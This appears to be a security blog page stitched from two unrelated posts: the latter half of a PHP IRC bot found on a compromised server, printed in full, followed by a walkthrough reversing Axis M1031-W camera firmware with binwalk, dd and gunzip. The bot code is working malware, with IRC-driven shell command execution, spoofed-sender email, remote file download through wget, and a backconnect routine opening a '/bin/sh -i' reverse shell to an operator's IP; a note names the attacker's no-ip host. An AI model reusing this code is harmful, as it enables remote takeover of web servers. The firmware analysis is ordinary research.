$this->mes($this->config['chan'],"IP: [8 ".$mcmd[1]." ] Port: [8 ".$mcmd[2]." ] Status: [8 Open ]"); 300:                                                                                         } 301:                                                                                         else 302:                                                                                         { 303:                                                                                             $this->mes($this->config['chan'],"IP: [8 ".$mcmd[1]." ] Port: [8 ".$mcmd[2]." ] Status: [4 Close ]"); 304:                                                                                         } 305:                                                                                 } 306:                                                                         break; 307:                                                                          308:                                                                         /** 309:                                                                          * @Description: Execute command 310:                                                                          * @Usage: !exec mycommand 311:                                                                          * @Example: !exec cat /etc/hosts 312:                                                                          */ 313:                                                                         case 'exec': 314:                                                                             if(isset($mcmd[1]))  315:                                                                                 { 316:                                                                                     if($this->ableFunc('popen')) 317:                                                                                         { 318:                                                                                             $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1); 319:                                                                                             $this->mes($this->config['chan'], "Executing $command"); 320:                                                                                             $pipe = popen($command, "r"); 321:                                                                                             while(!feof($pipe)) 322:                                                                                             { 323:                                                                                                 $pbuf = trim(fgets($pipe, 512)); 324:                                                                                                 if($pbuf != NULL) 325:                                                                                                     { 326:                                                                                                         $this->mes($this->config['chan'], ": $pbuf"); 327:                                                                                                     } 328:                                                                                             } 329:                                                                                           pclose($pipe); 330:                                                                                         } 331:                                                                                         elseif($this->ableFunc('shell_exec')) 332:                                                                                             { 333:                                                                                                 $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1); 334:                                                                                                 $this->mes($this->config['chan'], "Executing $command"); 335:                                                                                                 $exec = shell_exec($command); 336:                                                                                                 $ret = explode("\n", $exec); 337:                                                                                                 for($i=0;$i<count($ret);$i++) 338:                                                                                                     { 339:                                                                                                     if($ret[$i]!=NULL) 340:                                                                                                         { 341:                                                                                                             $this->mes($this->config['chan'], ": ".trim($ret[$i])); 342:                                                                                                         } 343:                                                                                                     } 344:                                                                                             } 345:                                                                                             else 346:                                                                                             { 347:                                                                                                 $this->mes($this->config['chan'], "Unable to execute $command, function has been disabled(maybe?)."); 348:                                                                                             } 349:                                                                                 } 350:                                                                             break; 351:                                                                              352:                                                                         /** 353:                                                                          * @Description: Send a http request. 354:                                                                          * @Usage: !http site 355:                                                                          * @Example: !http http://mysite.com/file.php 356:                                                                          */ 357:                                                                         case 'http': 358:                                                                             if(isset($mcmd[1])) 359:                                                                                 { 360:                                                                                     $site = parse_url($mcmd[1]); 361:                                                                                     if(!isset($site['scheme'])) 362:                                                                                         { 363:                                                                                             $url = "http://".$mcmd[1]; 364:                                                                                         } 365:                                                                                         else 366:                                                                                         { 367:                                                                                             $url = $mcmd[1]; 368:                                                                                         } 369:                                                                                     $this->reqhttp($url); 370:                                                                                 } 371:                                                                             break; 372:                                                                          373:                                                                         /** 374:                                                                          * @Description: Send an email 375:                                                                          * @Usage: Sender+name sender-email target my+subject msg 376:                                                                          * @Example: !mail EmotoyGay emeotoy@gay.kom my.mail@gmail.com kenyataan+tergempar+dari+emotoy saya sebenarnya gay 377:                                                                          * @Note: symbol + kat nama dengan subjek akan digantikan dengan space. 378:                                                                          */ 379:                                                                         case 'mail': 380:                                                                             if(count($mcmd) > 5) 381:                                                                                 { 382:                                                                                     $nama = $mcmd[1]; 383:                                                                                     $from = $mcmd[2]; 384:                                                                                     $to = $mcmd[3]; 385:                                                                                     $sbj = $mcmd[4]; 386:                                                                                     if(strpos($nama, "+")) 387:                                                                                         { 388:                                                                                             $nama = str_replace("+", " ", $nama); 389:                                                                                         } 390:                                                                                     if(strpos($sbj, "+")) 391:                                                                                         { 392:                                                                                             $sbj = str_replace("+", " ", $sbj); 393:                                                                                         } 394:                                                                                     $header = "From: ".$nama."<".$from.">"; 395:                                                                                     if(mail($to, $sbj, strstr($msg, $mcmd[5]), $header)) 396:                                                                                         { 397:                                                                                             $this->notice($nick, "Message sent to ".$to); 398:                                                                                         } 399:                                                                                         else 400:                                                                                         { 401:                                                                                             $this->notice($nick, "Unable to send."); 402:                                                                                         } 403:                                                                                 } 404:                                                                                 else 405:                                                                                 { 406:                                                                                     $this->notice($nick, "!mail dari-nama dari-email kepada subjek msg");                                                                                } 407:                                                                             break; 408:                                                                     } 409:                                                             } 410:                                                     } 411:                                             break; 412:                                     } 413:                             } 414:                     } 415:                 if($this->config['debug'] == true) 416:                     { 417:                         print $this->buffer."\r\n"; 418:                     } 419:                 $old_buffer = $this->buffer; 420:             } 421:         if(feof($this->connection)) 422:             { 423:                 $this->init(); 424:             } 425:         $this->init(); 426:     } 427:      428:     function notice($nick, $msg) { 429:         $this->send("NOTICE $nick :$msg"); 430:     } 431:      432:     function reqhttp($url) { 433:         $site = parse_url($url); 434:         if(!isset($site['path'])) 435:             { 436:                 $site['path'] = "/"; 437:             } 438:         $payload = 439:                 "GET %s HTTP/1.0\r\n". 440:                 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* \r\n". 441:                 "Accept-Language: en-us\r\n". 442:                 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n". 443:                 "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\r\n". 444:                 "Pragma: no-cache\r\n". 445:                 "Host: %s\r\n". 446:                 "Referer: http://base64.derefer.me/?%s\\r\n". 447:                 "Keep-Alive: timeout=5, max=100\r\n". 448:                 "Connection: Keep-Alive\r\n\r\n"; 449:         $finalpayload = sprintf($payload, $site['path'], $site['host'], base64_encode($url)); 450:         $sock = @fsockopen($site['host'], 80, $errno, $errstr, 30); 451:         if(!$sock) 452:             { 453:                 $this->mes($this->config['chan'], "$errstr"); 454:             } 455:             else 456:             { 457:                 @fwrite($sock, $finalpayload); 458:                 $status = @fgets($sock, 2000); 459:                 $this->mes($this->config['chan'], "HTTP Status: [ ".$status." ]"); 460:                 @fclose($sock); 461:             } 462:     } 463:      464:     function backconnect($nick, $ip, $port) { 465:         $shell = '/bin/sh -i'; 466:         #$shell = 'cmd'; 467:         $chunk_size = 1400; 468:         $write_a = null; 469:         $error_a = null; 470:         chdir("/"); 471:         umask(0); 472:         $sock = fsockopen($ip, $port, $errno, $errstr, 30); 473:         if(!$sock) 474:             { 475:                 $this->notice($nick, "Unable to connect!"); 476:             } 477:         $descriptorspec = array( 478:                         0 => array("pipe", "r"), 479:                         1 => array("pipe", "w"), 480:                         2 => array("pipe", "w") 481:                         ); 482:         $process = proc_open($shell, $descriptorspec, $pipes); 483:         if (!is_resource($process)) { 484:             $this->notice($nick, "ERROR: Can't spawn shell"); 485:         } 486:         stream_set_blocking($pipes[0], 0); 487:         stream_set_blocking($pipes[1], 0); 488:         stream_set_blocking($pipes[2], 0); 489:         stream_set_blocking($sock, 0); 490:         $this->mes($this->config['chan'], "Successfully opened reverse shell"); 491:         while(!feof($sock)) 492:             { 493:                 $read_a = array($sock, $pipes[1], $pipes[2]); 494:                 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 495:                 if(in_array($sock, $read_a)) 496:                     { 497:                         $input = fread($sock, $chunk_size); 498:                         fwrite($pipes[0], $input); 499:                     } 500:                 if(in_array($pipes[1], $read_a)) 501:                     { 502:                         $input = fread($pipes[1], $chunk_size); 503:                         fwrite($sock, $input); 504:                     } 505:                 if(in_array($pipes[2], $read_a)) 506:                     { 507:                         $input = fread($pipes[2], $chunk_size); 508:                         fwrite($sock, $input); 509:                     } 510:             } 511:         fclose($sock); 512:         fclose($pipes[0]); 513:         fclose($pipes[1]); 514:         fclose($pipes[2]); 515:         proc_close($process); 516:     } 517:      518:     function execve($cmd) { 519:       if($this->ableFunc("exec")) 520:         { 521:             exec($cmd, $o); 522:             $return = join("\r\n", $o); 523:         } 524:         elseif($this->ableFunc("shell_exec")) 525:             { 526:                 $return = shell_exec($cmd); 527:             } 528:             elseif($this->ableFunc("system")) 529:                 { 530:                     @ob_start(); 531:                     @system($cmd); 532:                     $return = @ob_get_contents(); 533:                     @ob_end_clean(); 534:                 }   535:                 elseif($this->ableFunc("passthru")) 536:                     { 537:                         @ob_start(); 538:                         @passthru($cmd); 539:                         $return = @ob_get_contents(); 540:                         @ob_end_clean(); 541:                     } 542:                     elseif($this->ableFunc("popen") && is_resource($h = popen($cmd.' 2>&1', 'r'))) 543:                         { 544:                             while(!feof($h)) 545:                                 { 546:                                     $return .= fread($h, 2096); 547:                                 } 548:                             pclose($h); 549:                         } 550:                     else 551:                         { 552:                             $return = 0; 553:                         } 554:       return $return; 555:     } 556:      557:     function downloadFile($url, $filename) { 558:         $out = ''; 559:         if((ini_get('allow_url_fopen') == 1) || (strtolower(ini_get('allow_url_fopen')) == "on")) 560:             { 561:                 $fopen = @fopen(getcwd().DS.$filename, 'w'); 562:                 @fwrite($fopen, file_get_contents($url)); 563:                 @fclose($fopen); 564:                 $this->mes($this->config['chan'], "Succesfully Download8" .$url." and Saved at8 ".getcwd().DS.$filename.""); 565:             } 566:             elseif(execve("wget $url -O $filename")) 567:                 { 568:                     $this->mes($this->config['chan'], "Succesfully Download8" .$url." and Saved at8 ".getcwd().DS.$filename.""); 569:                 } 570:                 else 571:                 { 572:                 $this->mes($this->config['chan'], "Unable to download file!"); 573:                 } 574:     } 575:      576:     function supportedCurl() { 577:         if(function_exists('curl_version')) 578:             { 579:                 return "8Yes"; 580:             } 581:             else 582:             { 583:                 return "4No"; 584:             } 585:     } 586:      587:     function disabledFunc() { 588:         $func = ini_get("disable_functions"); 589:         if($func) 590:             { 591:                 return "4".$func.""; 592:             } 593:             else 594:             { 595:                 return "8None"; 596:             } 597:     } 598:      599:     function supportedDatabase() { 600:         $temp=array(); 601:             if(function_exists('mysql_get_client_info')) 602:                 $temp[] = "8MySql (".mysql_get_client_info().")"; 603:             if(function_exists('mssql_connect')) 604:                 $temp[] = "8MSSQL"; 605:             if(function_exists('pg_connect')) 606:                 $temp[] = "8PostgreSQL"; 607:             if(function_exists('oci_connect')) 608:                 $temp[] = "8Oracle"; 609:     return implode(', ', $temp); 610:   611:     } 612:      613:     function safeMode() { 614:         return (@ini_get("safe_mode") OR eregi("on", @ini_get("safe_mode"))) ? "4ON" : "8OFF"; 615:     } 616:      617:     function mes($to, $msg) {  618:         $this->send("PRIVMSG $to :$msg");  619:     } 620:      621:     function isLoggedIn($host) { 622:         if(isset($this->users[$host])) 623:             { 624:                 return 1; 625:             } 626:             else 627:             { 628:                 return 0; 629:             } 630:     } 631:      632:     function logOut($host) { 633:         unset($this->users[$host]); 634:     } 635:      636:     function logIn($host) { 637:         $this->users[$host] = true; 638:     } 639:      640:     function join($chan) { 641:         $this->send("JOIN ".$chan); 642:     } 643:      644:     function getNick() { 645:         $this->nick = "[".PHP_OS."][".$this->getCurrentUser()."]Botz-".rand(1,99); 646:         $this->send("NICK ".$this->nick.""); 647:     } 648:      649:     function getCurrentUser() { 650:         if($this->ableFunc('get_current_user')) 651:             { 652:                 return get_current_user(); 653:             } 654:             elseif($this->ableFunc('posix_getpwuid') AND $this->ableFunc('posix_geteuid')) 655:                 { 656:                     $owner = $processUser = posix_getpwuid(posix_geteuid()); 657:                     return $owner['name']; 658:                 } 659:                 else 660:                     { 661:                         return "Nobody"; 662:                     } 663:     } 664:      665:     function ableFunc($func) { 666:         return (function_exists($func) && is_callable($func) && !in_array($func, $this->getdisfunc())) ? TRUE : FALSE; 667:     } 668:      669:     function getdisfunc() { 670:         $func = explode(",", @ini_get("disable_functions")); 671:         return (!empty($func)) ? $func : array(); 672:     } 673:      674:     function send($t) { 675:         @fputs($this->connection, $t."\r\n"); 676:     } 677:      678:     function vsize($size) { 679:       if (!is_numeric($size)) { return FALSE; } 680:       else { 681:         if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; } 682:         elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; } 683:         elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; } 684:         else { $size = $size . " B"; } 685:         return $size; 686:       } 687:     } 688:      689:     function hdd($type) { 690:         $P = @getcwd(); 691:         $T = @disk_total_space($P); 692:         $F = @disk_free_space($P); 693:         $U = $T - $U; 694:         $hddspace = array("total" => $this->vsize($T), "free"  => $this->vsize($F), "used"  => $this->vsize($U)); 695:         return $hddspace[$type]; 696:     } 697:   698:     function userInfo() { 699:         if(!$this->ableFunc('posix_getegid')) 700:             { 701:                 $user = @get_current_user(); 702:                 $uid = @getmyuid(); 703:                 $gid = @getmygid(); 704:                 $group = "?"; 705:                 return "User: [8 ".$user." ] UID/GID: [8 ".$uid."/8 ".$gid." ] Group: [8 ".$group." ]"; 706:             } 707:             else 708:             { 709:                 $uid = @posix_getpwuid(@posix_geteuid()); 710:                 $gid = @posix_getgrgid(@posix_getegid()); 711:                 $user = $uid['name']; 712:                 $uid = $uid['uid']; 713:                 $group = $gid['name']; 714:                 $gid = $gid['gid']; 715:                 return "User: [".$user."] UID/GID: [".$uid."/".$gid."] Group: [".$group."]"; 716:             } 717:     } 718:      719:     function stop() { 720:         fclose($this->connection); 721:         exit; 722:     } 723:   724: } 725:   726: $bot = new BotComel; 727: $bot->init(); 728: ?>

a php Bot with the attackers ip included on the source, ahlisyurga.no-ip.org. Oh hi there !

firmware reversing Axis network camera AXIS M1031-W

2011-08-21T20:15:00.002+03:00

After obtaining the firmware from axis website I went ahead with binwalk to identify the sections in the file,

   1: root@system:~/bin/binwalk-0.3.7/src# binwalk AXIS_M1031-W.bin    2:     3: DECIMAL         HEX             DESCRIPTION   4: -------------------------------------------------------------------------------------------------------   5: 12165           0x2F85          LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes   6: 12189           0x2F9D          LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes   7: 12213           0x2FB5          LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes   8: 68693           0x10C55         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes   9: 68717           0x10C6D         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes  10: 68741           0x10C85         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes  11: 82110           0x140BE         LZMA compressed data, properties: 0x00, dictionary size: 8388608 bytes, uncompressed size: 192 bytes  12: 95704           0x175D8         gzip compressed data, from Unix, last modified: Mon Oct 25 14:03:18 2010, max compression  13: 2899809         0x2C3F61        LZMA compressed data, properties: 0xE0, dictionary size: 8912896 bytes, uncompressed size: 8912896 bytes  14: 5390381         0x52402D        LZMA compressed data, properties: 0xAF, dictionary size: 9371648 bytes, uncompressed size: 9371648 bytes  15: 7143469         0x6D002D        LZMA compressed data, properties: 0x9E, dictionary size: 28246016 bytes, uncompressed size: 28246016 bytes  16: 7421997         0x71402D        LZMA compressed data, properties: 0xBD, dictionary size: 48693248 bytes, uncompressed size: 48693248 bytes  17: 7782445         0x76C02D        LZMA compressed data, properties: 0xAF, dictionary size: 2555904 bytes, uncompressed size: 2555904 bytes  18: 8212417         0x7D4FC1        LZMA compressed data, properties: 0x80, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  19: 8216581         0x7D6005        LZMA compressed data, properties: 0x90, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  20: 8220745         0x7D7049        LZMA compressed data, properties: 0xA0, dictionary size: 262144000 bytes, uncompressed size: 262144000 bytes  21: 8224813         0x7D802D        LZMA compressed data, properties: 0xAF, dictionary size: 6291456 bytes, uncompressed size: 6291456 bytes  22: 8224977         0x7D80D1        LZMA compressed data, properties: 0xB0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  23: 8229141         0x7D9115        LZMA compressed data, properties: 0xC0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  24: 8233305         0x7DA159        LZMA compressed data, properties: 0xD0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  25: 8237469         0x7DB19D        LZMA compressed data, properties: 0xE0, dictionary size: 239861760 bytes, uncompressed size: 239861760 bytes  26: 9443925         0x901A55        Zip archive data,  at least v2.0 to extract  27: 9444533         0x901CB5        Zip archive data,  at least v2.0 to extract  28: 9449893         0x9031A5        Zip archive data,  at least v2.0 to extract  29: 9450294         0x903336        Zip archive data,  at least v2.0 to extract  30: 9470202         0x9080FA        Zip archive data,  at least v2.0 to extract  31: 9471043         0x908443        Zip archive data,  at least v2.0 to extract  32: 9484593         0x90B931        Zip archive data,  at least v2.0 to extract  33: 9485547         0x90BCEB        Zip archive data,  at least v2.0 to extract  34: 9486419         0x90C053        Zip archive data,  at least v2.0 to extract  35: 9497953         0x90ED61        Zip archive data,  at least v2.0 to extract  36: 9499916         0x90F50C        Zip archive data,  at least v2.0 to extract  37: 11812909        0xB4402D        LZMA compressed data, properties: 0x8F, dictionary size: 9764864 bytes, uncompressed size: 9764864 bytes  38: 12894253        0xC4C02D        LZMA compressed data, properties: 0x8F, dictionary size: 4063232 bytes, uncompressed size: 4063232 bytes  39: 13754341        0xD1DFE5        LZMA compressed data, properties: 0x80, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  40: 13758505        0xD1F029        LZMA compressed data, properties: 0x90, dictionary size: 264241152 bytes, uncompressed size: 264241152 bytes  41: 13762605        0xD2002D        LZMA compressed data, properties: 0x9F, dictionary size: 4194304 bytes, uncompressed size: 4194304 bytes  42: 13762737        0xD200B1        LZMA compressed data, properties: 0xA0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  43: 13766901        0xD210F5        LZMA compressed data, properties: 0xB0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  44: 13771065        0xD22139        LZMA compressed data, properties: 0xC0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  45: 13775229        0xD2317D        LZMA compressed data, properties: 0xD0, dictionary size: 241958912 bytes, uncompressed size: 241958912 bytes  46: 13778989        0xD2402D        LZMA compressed data, properties: 0xDE, dictionary size: 26476544 bytes, uncompressed size: 26476544 bytes  47: 13779461        0xD24205        LZMA compressed data, properties: 0xE0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  48: 13986717        0xD56B9D        LZMA compressed data, properties: 0x80, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  49: 13990881        0xD57BE1        LZMA compressed data, properties: 0x90, dictionary size: 67633152 bytes, uncompressed size: 67633152 bytes  50: 13991981        0xD5802D        LZMA compressed data, properties: 0x94, dictionary size: 200802304 bytes, uncompressed size: 200802304 bytes  51: 13995113        0xD58C69        LZMA compressed data, properties: 0xA0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  52: 13999277        0xD59CAD        LZMA compressed data, properties: 0xB0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  53: 14003441        0xD5ACF1        LZMA compressed data, properties: 0xC0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  54: 14007605        0xD5BD35        LZMA compressed data, properties: 0xD0, dictionary size: 45350912 bytes, uncompressed size: 45350912 bytes  55: 14008365        0xD5C02D        LZMA compressed data, properties: 0xD2, dictionary size: 223084544 bytes, uncompressed size: 223084544 bytes  56: 14011837        0xD5CDBD        LZMA compressed data, properties: 0xE0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  57: 14794797        0xE1C02D        LZMA compressed data, properties: 0x80, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  58: 14798961        0xE1D071        LZMA compressed data, properties: 0x90, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  59: 14803125        0xE1E0B5        LZMA compressed data, properties: 0xA0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  60: 14807289        0xE1F0F9        LZMA compressed data, properties: 0xB0, dictionary size: 250609664 bytes, uncompressed size: 250609664 bytes  61: 14811181        0xE2002D        LZMA compressed data, properties: 0xBE, dictionary size: 17825792 bytes, uncompressed size: 17825792 bytes  62: 14811521        0xE20181        LZMA compressed data, properties: 0xC0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  63: 14815685        0xE211C5        LZMA compressed data, properties: 0xD0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes  64: 14819849        0xE22209        LZMA compressed data, properties: 0xE0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes

Interesting, so many lzma headers with huge/inaccurate uncompressed sizes and same dictionary size. Something is not correct here and let’s have a closer look on it,

   1: root@system:~/axis# dd if=AXIS_M1031-W.bin bs=1 skip=12165 count=32 2>/dev/null | hexdump -C      2: 00000000  02 00 00 80 00 00 00 00  40 00 00 00 00 00 00 52  |........@......R|   3: 00000010  28 00 10 39 00 00 00 00  02 00 00 80 00 00 00 00  |(..9............|   4: 00000020   5: root@system:~/axis# dd if=AXIS_M1031-W.bin bs=1 skip=12189 count=32 2>/dev/null | hexdump -C         6: 00000000  02 00 00 80 00 00 00 00  40 00 00 00 00 00 00 69  |........@......i|   7: 00000010  28 00 10 79 00 00 00 00  02 00 00 80 00 00 00 00  |(..y............|   8: 00000020   9: root@system:~/axis# dd if=AXIS_M1031-W.bin bs=1 skip=12213 count=32 2>/dev/null | hexdump -C        10: 00000000  02 00 00 80 00 00 00 00  40 00 00 00 00 00 00 80  |........@.......|  11: 00000010  28 00 10 72 00 00 00 00  02 00 00 80 00 00 00 00  |(..r............|  12: 00000020  13: root@system:~/axis# dd if=AXIS_M1031-W.bin bs=1 skip=68693 count=32 2>/dev/null | hexdump -C        14: 00000000  02 00 00 80 00 00 00 00  40 00 00 00 00 00 00 94  |........@.......|  15: 00000010  c0 00 c0 39 00 00 00 00  02 00 00 80 00 00 00 00  |...9............|  16: 00000020

It seems that binwalk is matching the first bytes at each section to lzma compression magic numbers incorrectly. From this point on and after doing some more tests with the rest of the lzma suggested entries we will assume that binwalk’s analysis is inaccurate on that and we will not take it in consideration.

Removing the lzma entries our table will look more like this:

   1:     2: DECIMAL         HEX             DESCRIPTION   3: -------------------------------------------------------------------------------------------------------   4: 95704           0x175D8         gzip compressed data, from Unix, last modified: Mon Oct 25 14:03:18 2010, max compression   5:     6: 9443925         0x901A55        Zip archive data,  at least v2.0 to extract   7: 9444533         0x901CB5        Zip archive data,  at least v2.0 to extract   8: 9449893         0x9031A5        Zip archive data,  at least v2.0 to extract   9: 9450294         0x903336        Zip archive data,  at least v2.0 to extract  10: 9470202         0x9080FA        Zip archive data,  at least v2.0 to extract  11: 9471043         0x908443        Zip archive data,  at least v2.0 to extract  12: 9484593         0x90B931        Zip archive data,  at least v2.0 to extract  13: 9485547         0x90BCEB        Zip archive data,  at least v2.0 to extract  14: 9486419         0x90C053        Zip archive data,  at least v2.0 to extract  15: 9497953         0x90ED61        Zip archive data,  at least v2.0 to extract  16: 9499916         0x90F50C        Zip archive data,  at least v2.0 to extract

Starting with the gzip section, we can verify the signature,

   1: dd if=AXIS_M1031-W.bin bs=1 skip=95704 2>/dev/null | file -        2: /dev/stdin: gzip compressed data, from Unix, last modified: Mon Oct 25 14:03:18 2010, max compression

A point of start for the moment there, let’s extract the header of the file first and we will proceed later with the gzip section.

   1: root@system:~/axis/analysis# dd if=AXIS_M1031-W.bin bs=1 count=95704 of=header_before.gzip.section   2: 95704+0 records in   3: 95704+0 records out   4: 95704 bytes (96 kB) copied, 1.86194 s, 51.4 kB/s   5: root@system:~/axis/analysis# file header_before.gzip.section    6: header_before.gzip.section: data   7: root@system:~/axis/analysis# strings header_before.gzip.section > header.str   8: root@system:~/axis/analysis# less header.str    9: <...>  10:    11: NAND 2GiB 3,3V 8-bit  12: NAND 2GiB 1,8V 16-bit  13: NAND 2GiB 3,3V 16-bit  14: AND 128MiB 3,3V 8-bit  15:          gUp  16: 9j"\  17: 9i2\   18: 40K%  19:  -- System halted  20: ran out of input data  21: Malloc error  22: Out of memory  23: incomplete literal tree  24: incomplete distance tree  25: bad gzip magic numbers  26: internal error, invalid method  27: Input is encrypted  28: Multi part input  29: Input has invalid flags  30: invalid compressed format (err=1)  31: invalid compressed format (err=2)  32: out of memory  33: invalid compressed format (other)  34: crc error  35: length error  36: Uncompressing Linux...  37:  done, booting the kernel.

We can see that this is the Linux bootloader running in the camera startup process. Few days ago I submitted as bug at the binwalk developers the identification of binary format files. Binwalk was not able to identify binary files properly giving false results, at the time of this writing binwalk has been updated adding a new feature, binary file identification. The results of program now verify what we found earlier,

   1: root@system:~/axis/analysis# binwalk -A bootloader | head   2:     3: DECIMAL         HEX             DESCRIPTION   4: -------------------------------------------------------------------------------------------------------   5: 8512            0x2140          ARM function prologue   6: 8828            0x227C          ARM function epilogue   7: 9328            0x2470          ARM function prologue   8: 9336            0x2478          ARM function epilogue   9: 9380            0x24A4          ARM function prologue  10: 9392            0x24B0          ARM function epilogue  11: 17816           0x4598          ARM function prologue

Arm Linux bootloader on the camera.
Proceeding with the section identified as gzip we extract the data until next identified signature.

   1: root@system:~/axis/analysis# dd if=AXIS_M1031-W.bin bs=1 skip=95704 count=9348221 of=gzip.section.gz   2: 9348221+0 records in   3: 9348221+0 records out   4: 9348221 bytes (9.3 MB) copied, 207.353 s, 45.1 kB/s

As mentioned before there is no clear mark on where is the end of the gzip section, a lot of false positives, so I go ahead and extract the section until the Zip first identified area. gunzip here was able to extract the contents with a twist,

   1: root@system:~/axis/analysis# ls -Fal gzip.section.gz   2: -rw-r--r-- 1 root root 9348221 2011-08-21 09:01 gzip.section.gz   3: root@system:~/axis/analysis# gunzip gzip.section.gz   4: gzip: gzip.section.gz: decompression OK, trailing garbage ignored   5: root@system:~/axis/analysis# ls -Fal gzip.section   6: -rw-r--r-- 1 root root 2695168 2011-08-20 22:45 gzip.section

From the initial file that was almost 9.3 Mb the extracted contents are nearly 2.7 Mb, something is not correct here either there is a lot of padding in the file or there is something more inside the contents. At this phase I was stuck, I tried different tools with no apparent results, tools that were used are deezee from matasano’s black bag ( www.matasano.com ) , signsrch from Luigi Auriemma and again binwalk.

   1: root@system:~/axis/analysis# ../../src/signsrch gzip.section.gz   2:     3: Signsrch 0.1.6a   4: by Luigi Auriemma   5: e-mail: aluigi@autistici.org   6: web:    aluigi.org   7:   optimized search function from Andrew http://www.team5150.com/~andrew/   8:   disassembler engine from Oleh Yuschuk   9:    10: - open file "gzip.section.gz"  11: - 9348221 bytes allocated  12: - load signatures  13: - open file ../../src/signsrch.sig  14: - 1774060 bytes allocated for the signatures  15: - 2278 signatures in the database  16: - start signatures scanning:  17:    18:   offset   num  description [bits.endian.size]  19:   --------------------------------------------  20:   0029cf30 31   Adler CRC32 (0x191b3141) [32.le.1024]  21:   0029d330 33   Adler CRC32 (0x01c26a37) [32.le.1024]  22:   0029d730 35   Adler CRC32 (0xb8bc6765) [32.le.1024]  23:    24: - 3 signatures found in the file

I found a solution after a while looking at the actual hex code on the file. Using hexdump to convert the file I notice a large section inside filled with a sort of padding,

   1: 00146100  c8 1a 85 c0 c0 16 85 c0  d0 32 70 c0 a0 16 85 c0  |.........2p.....|   2: 00146110  bc 16 85 c0 56 32 70 c0  a4 16 85 c0 ac 16 85 c0  |....V2p.........|   3: 00146120  9c 16 85 c0 58 00 70 c0  88 96 84 c0 90 96 84 c0  |....X.p.........|   4: 00146130  94 16 85 c0 a8 16 85 c0  00 00 00 00 00 00 00 00  |................|   5: 00146140  00 00 00 00 00 00 00 00  00 00 00 00 ff ff ff ff  |................|   6: 00146150  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|   7: *   8: 001fca20  ff ff ff ff ff ff ff ff  85 19 01 e0 30 00 00 00  |............0...|   9: 001fca30  78 be 3e fa 01 00 00 00  00 00 00 00 02 00 00 00  |x.>.............|  10: 001fca40  23 6d c5 4c 08 08 00 00  51 ae 45 03 63 c1 56 6c  |#m.L....Q.E.c.Vl|  11: 001fca50  2e 64 65 76 2e 74 61 72  85 19 02 e0 96 01 00 00  |.dev.tar........|  12: 001fca60  38 e0 68 15 02 00 00 00  01 00 00 00 a4 81 00 00  |8.h.............|  13: 001fca70  00 00 00 00 00 f0 00 00  23 6d c5 4c 23 6d c5 4c  |........#m.L#m.L|

Apparently there is a section between locations 001fca20 and 00146150 filed with ff ff ff ff. Few bytes below address 001fca20, there is visible a dev.tar ( possible filesystem data ? ) entry. I cut through the file to verify that gzip compression data are still valid after chopping the tail of that contents.

   1: root@system:~/axis/analysis# dd if=gzip.section.gz bs=1 count=$((0x00146150)) of=until_padding.gz   2: 1335632+0 records in   3: 1335632+0 records out   4: 1335632 bytes (1.3 MB) copied, 36.0775 s, 37.0 kB/s   5: root@system:~/axis/analysis# gunzip until_padding.gz    6: gzip: until_padding.gz: decompression OK, trailing garbage ignored   7: root@system:~/axis/analysis# l until_padding    8: -rw-r--r-- 1 root root 2695168 2011-08-21 09:21 until_padding

Extracted area is giving a file around 1.3 MB of compressed data that expanded is still giving us the same results, trying a bit more and cutting bytes from the end I was able later even to correct the warning from gunzip about trailing garbage.

Further more, strings shows some interesting data on the file like the existence of a jffs2 filesystem and more details to ensure that this is the kernel that we are looking at

   1: root@system:~/axis/analysis# strings until_padding | more   2: -romE=   3: (hsqs   4: 1fs-   5: UUUU   6: VUUU   7: root=/dev/mtdblock3 mem=64M init=/linuxrc rootfstype=jffs2 i2c-argus.sda=15 i2c-argus.scl=14 panic=1   8: l??b   9: uncached  10: buffered  11: writethrough  12: <snip>

